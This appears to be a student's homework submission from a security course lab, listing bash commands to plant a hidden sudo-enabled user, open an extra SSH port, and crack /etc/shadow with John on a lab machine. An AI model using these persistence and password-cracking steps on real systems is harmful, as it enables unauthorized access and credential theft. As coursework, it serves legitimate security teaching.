Week 6 Homework Submission File: Advanced Bash - Owning the System

Step 1: Shadow People

Create a secret user named sysd. Make sure this user doesn't have a home folder created:

* useradd --no-create-home sysd

Give your secret user a password:

* passwd sysd

Give your secret user a system UID < 1000:

* usermod -u 127 sysd

Give your secret user the same GID:

* groupmod -g 127 sysd

Give your secret user full sudo access without the need for a password:

* Nano
* sysd ALL=(ALL:ALL) NOPASSWD:ALL

Test that sudo access works without your password:

* su sysd
* sudo -l
* sudo ls

Step 2: Smooth Sailing

Edit the sshd\_config file:

* vi /etc/ssh/sshd\_config
* # Then make the following edits:
* Port 22
* Port 2222

Step 3: Testing Your Configuration Update

Restart the SSH service:

* systemctl restart sshd

Exit the root account:

* exit # twice

SSH to the target machine using your sysd account and port 2222:

* ssh sysd@192.168.6.105 -p 2222

Use sudo to switch to the root user:

* sudo su

Step 4: Crack All the Passwords

SSH back to the system using your sysd account and port 2222:

* ssh sysd@192.168.6.105 -p 2222

Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:

* sudo su
* john /etc/shadow